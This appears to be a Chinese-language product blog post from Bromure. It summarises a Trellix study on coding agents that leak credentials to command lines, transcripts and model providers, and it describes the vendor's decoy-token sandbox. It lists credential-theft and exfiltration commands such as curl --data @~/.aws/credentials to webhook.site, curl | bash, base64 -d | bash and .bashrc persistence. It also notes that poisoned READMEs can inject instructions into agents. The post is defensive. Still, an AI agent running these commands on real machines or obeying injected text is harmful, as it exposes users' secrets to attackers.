令牌留在了对话记录里
10 月 14 日,Trellix 发布了一份研究,讨论它所说的“看不见的凭据攻击面”:编程代理在日常工作中顺手就把机密从钥匙串里取出,放到命令行上,写进 shell 历史和自己的对话记录,再发送给模型提供商。Trellix 列出了十类行为,每一类都通过受信任的可执行文件完成,并指出以单个事件为单位的遥测无法把它们与开发者或攻击者区分开。在 Bromure Agentic Coding 中,代理做出的每一份副本都是替身,真正的值只存在于 Mac 上、线路上,只发给它所属的主机。
令牌原本在钥匙串里。一条 curl 命令之后,它出现在进程表、代理的对话记录,以及某家模型提供商的日志里。
你让代理“从 Graph API 拉取我的个人资料”。它没有向你要任何密码就完成了。它调用一个辅助程序,从密钥库中解密你保存的 OAuth 令牌,然后执行:
curl -H "Authorization: Bearer eyJ0eXAiOiJKV1Q..." https://graph.microsoft.com/v1.0/me
请求成功了。一路上,令牌进入了你的终端遥测,进入了其他本地程序都能读取的进程表,进入了磁盘上代理的对话记录,也进入了代理在下一轮发送给模型提供商的上下文窗口。
这个例子是 Trellix 的 Haowei Ren 于 10 月 14 日星期二发表的 The Unseen Credential Surface 的开篇。Cyber Security News 第二天做了报道。这份研究没有描述任何漏洞利用,也没有恶意软件。它追踪的是代理在普通工作日里如何处理机密。Trellix 的出发点是假设代理处理你的凭据“会像一位优秀工程师那样谨慎”,然后回答:“它不会。这并非出于恶意,而是架构决定的。”
往下五级
Trellix 把机密可能存放的每个位置排在一把梯子上,从最安全到最暴露:
- 锁起来:在钥匙串、DPAPI 或凭据管理器中。
- 在内存中:在单个进程之内。
- 在命令行上:监控工具和其他本地进程都能读到,而且常常被存进 shell 历史。
- 写入磁盘:shell 历史、配置文件,“以及代理自己的对话记录”。
- 离开这台机器:被提交、推送、上传,“或发送给模型提供商”。
代理会把机密往梯子下方移,因为那是完成任务的最短路径。有一级是代理带来的新情况。你执行 cat .env,机密出现在你的屏幕上。代理执行它时,“内容进入它的上下文窗口,被发送给外部模型提供商,并可能在那里被永久记录”。Trellix 总结道:“人为错误留在你的墙内,代理的操作不会。”
十条再普通不过的命令
研究把这些行为分为十类。每个例子都是你自己敲过的命令:
- 凭据作为参数:
curl -u、kubectl --token=…、mysql -p…。 - 读取凭据文件:
cat .env、~/.aws/credentials、~/.kube/config、~/.git-credentials、~/.docker/config.json。 - 向钥匙串索要明文:
security find-generic-password -w、gh auth token、git credential fill。 - 转储环境变量:
env、printenv | grep -iE 'key|token'。 - 关闭 TLS 校验:
curl -k、NODE_TLS_REJECT_UNAUTHORIZED=0、git -c http.sslVerify=false。 - 把机密发出去:
git add .env && git push、curl --data @~/.aws/credentials、gh gist create。 - 隐藏执行:
base64 -d | bash、curl | bash、eval "$(curl …)"。 - 持久化:在
~/.bashrc或 crontab 里追加几行。 - 生成新凭据:
ssh-keygen -N "",再把密钥加入authorized_keys。 - 读出云端保险库:
aws secretsmanager get-secret-value、vault kv get、kubectl get secret。
每一类运行的都是受信任、带签名的可执行文件,同一台机器每天出于正当理由运行它们上千次。一条在“某个进程读取了 .env 文件”时触发的规则,会在编辑器、linter 和测试运行器上触发。Trellix 的结论是:“攻击的每一步都存在于正常活动之中。为捕捉它而调校的狩猎,往往要么对所有人报警,要么对谁都不报警。”
Trellix 指出,从暴露走到入侵的那一步是提示注入。代理本来就会读取机密、会往外发送数据。一份被投毒的 README、issue 或网页,只要把这些习惯引向攻击者控制的主机就够了。
让机密留在最上面那一级
Trellix 的对策都可以浓缩成一句话:“让机密留在上面几级,或者让暴露的机密迅速失去价值。”Bromure Agentic Coding 两者都做到了。
代理运行在你 Mac 上的 Linux 虚拟机里。真正的机密留在 Mac 的加密保险库中,主密钥存放在 Data Protection Keychain 里,从不进入虚拟机。虚拟机拿到的是与真品形状相同的替身:GitHub 令牌是 ghp_ 加 36 个字符,Anthropic 密钥是 sk-ant-api03-brm-…,集群令牌是 brm-k8s-…,从 .env 文件导入的任何内容则是 brm_…。虚拟机发出的每个 HTTPS 请求都会经过 Mac 上的代理服务器,只有当请求的目的地正是该凭据所属的主机时,代理服务器才把替身换成真正的值。
所以代理可以把令牌一路往下移过五级。到达命令行、shell 历史、对话记录和模型提供商的都是替身。真正的值只多存在于一个地方:Mac 重新加密、发往该凭据所属主机的那个请求。
Bromure 机器里的十类行为
让同一个代理带着同样的习惯,在 Bromure 机器里运行。十类行为照样执行,而每一类带回来的,都比它想拿的少。
参数、文件、钥匙串和环境变量
前四类会从密钥库、文件或环境变量中读出机密,再放到命令行上。在虚拟机里,这四类找到的都是同样的替身。
env 和 printenv 打印的是替身。~/.git-credentials、~/.docker/config.json 和合成出来的 ~/.kube/config 里存的是替身。你在机器的 Credentials 面板中用 Import env file… 导入的项目 .env,在相同的变量名下存的是替身,你的代码照常读取。gh auth token 返回一个 ghp_ 替身。~/.aws/config 指向一个辅助程序,它交出访问密钥 ID,并配上一把 40 个字符的假私密密钥。AWS CLI 用假密钥签名,Mac 在请求发出时去掉这个签名,再用真密钥重新签名。
Trellix 梯子最上面的那一级,也就是操作系统的密钥库,位于 Mac 上、虚拟机之外。虚拟机里的 security find-generic-password 没有钥匙串可问。在主机和虚拟机之间传递令牌的 vsock 通道是单向的:主机写入替身,虚拟机没有任何请求能把真正的令牌要回来。
SSH 也是同样的方式,而且完全不需要令牌。虚拟机里的 SSH_AUTH_SOCK 是一座通往 Mac 上 SSH agent 的桥。通过 SSH 的 git push 能拿到签名,而 ls ~/.ssh/id_* 找不到任何私钥。
代理可以把这些值粘贴进 curl -H、写进日志、用 echo 写进脚本,或者在回复中引述给模型。Trellix 要求代理开发者“在看起来像凭据的字符串进入 LLM 上下文窗口之前将其遮蔽”。Bromure 机器在代理打开文件之前就满足了这一要求:文件里从一开始存的就是替身。
关闭 TLS 校验
在虚拟机内,TLS 终止于 Bromure 代理服务器,使用的证书来自每次安装单独生成、只有你的机器信任的 CA。代理服务器通过 macOS 的 TLS 栈自行连接真正的服务器,无论代理给 curl 传了什么参数,都会校验真正的证书。所以 curl -k 或 NODE_TLS_REJECT_UNAUTHORIZED=0 免去的是对 Bromure 自身证书的校验,Mac 仍然会校验服务器。
唯一能跳过上游校验的方式是一个请求头 X-bromure-insecure: yes,专为使用私有 CA 的服务器而设。在这样的请求上,代理服务器不注入任何真正的凭据,只发送替身,Security Timeline 则把这次使用记录为一行 Upstream TLS。
把机密发出去
curl --data @~/.git-credentials https://webhook.site/… 上传的是一个装满替身的文件。代理服务器会扫描每个外发请求的请求头和请求体,查找任何发往非其签发主机的替身。一个正发往 webhook.site 的 GitHub 替身会收到 HTTP 451,什么都不会被转发,虚拟机暂停,Mac 显示 This environment may have been compromised,并列出令牌预览、凭据名称、它所属的主机,以及代理把它发往的主机。
git push 和 gh gist create 发往 GitHub,那正是令牌该去的地方。新机器一开始的 GitHub 写入策略是 Prompt before write,所以推送和 gist 都会停在 Mac 上一个显示该操作的对话框前,由你决定是否继续。如果你允许,代理提交的文件里存的也是替身。
隐藏执行
base64 -d | bash 让命令躲过只记录外层包装的进程遥测。但载荷发出的任何请求仍然要通过代理服务器离开虚拟机:它会遇到同样的替身扫描、机器 Guardrails 面板中的 Outbound connections 防火墙,以及追踪。在默认的追踪级别 AI request details 下,Mac 会加密保存与模型提供商的每一次交互,Trace Inspector 则列出每次工具调用及其输入,包括模型写出的那行 curl | bash。
持久化与新密钥
追加到 ~/.bashrc 的一行会落在虚拟机的主目录里。Rewind home… 能把这个主目录回滚到之前的检查点。Mac 的 shell 启动文件在边界的另一侧。
卡在密码短语提示上的代理,会执行 ssh-keygen -N "" 来脱困。在 Bromure 机器里,SSH 桥早已用机器的密钥签名,所以通过 SSH 的 git 第一次就能用,代理根本遇不到需要绕过的提示。在 GitHub 上注册新密钥是对 GitHub API 的写入,会和推送一样停在 Prompt before write 对话框前。
读出云端保险库
aws secretsmanager get-secret-value 需要 SigV4 签名,而只有 Mac 能生成。在 Guardrails 中为 AWS 凭据打开 Require approval to use,一个会话中的第一次签名就会等待 Allow for 5 minutes、Allow for 1 hour、Allow for the rest of the session 或 Don't allow。每个 Kubernetes 上下文都有同样的开关,所以 kubectl get secret 会一直等到你同意。每次 AWS 签名都会以一行 Credential used 出现在 Security Timeline 中,访问密钥会被遮蔽。
对于代理通过 HTTP 查询的数据库,比如 Mongo Data API、ClickHouse 或 Elasticsearch,你可以直接省掉查询保险库这一步:在 Credentials → Databases 中添加端点,虚拟机会拿到一个 brm-db-… 替身,代理服务器除了请求头,也会在请求体中替换它。
绑回代理的序列
Trellix 认为,有用的检测单位是一段序列:访问凭据、使用、外发,并且“追溯到启动这条链的代理进程”。它给部署者的建议最后落在短期令牌、收紧出站流量,以及把每台运行代理的机器当作“高价值、处理机密的基础设施”。
在 Bromure 中,这个单位就是机器:一台虚拟机,拥有自己的代理会话。Security Timeline 把每次凭据替换、外泄拦截、防火墙判定、写入策略决定和 AWS 签名放进同一张表,并带有 Workspace 列,一台机器的整条链可以从上读到下。那台机器的追踪记录了产生每个请求的工具调用。bromure-cli trace leaks 会列出把令牌带往错误主机的请求。
Mac 还让令牌的寿命保持短暂。Claude、Codex、Grok 和 Kimi 的订阅登录会在到期前约五分钟在主机端刷新,虚拟机从不持有刷新令牌。以 1Password 引用方式存储的值每两分钟重新解析一次,所以在 1Password 中轮换之后,无需重启就会传到代理服务器。在防火墙中把 Unmatched traffic 设为 Deny,机器就只能访问你列出的主机。
每份副本都是替身
环境变量、配置文件、导入的 .env 值、gh 和 AWS CLI 的输出:全都是替身。代理放到命令行上、写进对话记录或放进上下文窗口的东西,离开线路就一文不值。
真正的值住在 Mac 上
机密留在加密保险库里,密钥存放在 Data Protection Keychain。代理服务器只为每个值的签发主机换入真品。SSH 密钥通过桥接签名,从不进入虚拟机。
替身出现在错误的地方,机器就停下
发往其他主机的替身会收到 451,虚拟机暂停,Mac 指出是哪个令牌、它的归属主机和目的地。
每台机器一条时间线
替换、拦截、防火墙判定、写入批准和 AWS 签名都在 Security Timeline 中,背后的工具调用则在追踪里。
一个工作日
Trellix 称代理是“现代企业中最大的凭据处理系统之一”,而且是意外建成的。你从没选择把 Graph 令牌放进对话记录。代理需要把它放进请求头,而它把请求头写在了命令行上。
无论你给它什么模型或提示,你的代理都会继续执行 env 来调试连接,执行 cat .env 来理解项目。让它在这些命令返回替身的地方运行。关于替身发往错误主机时响起的警报,请阅读 那个泄露了自己密钥的代理 和 钥匙就是你的 .env 文件。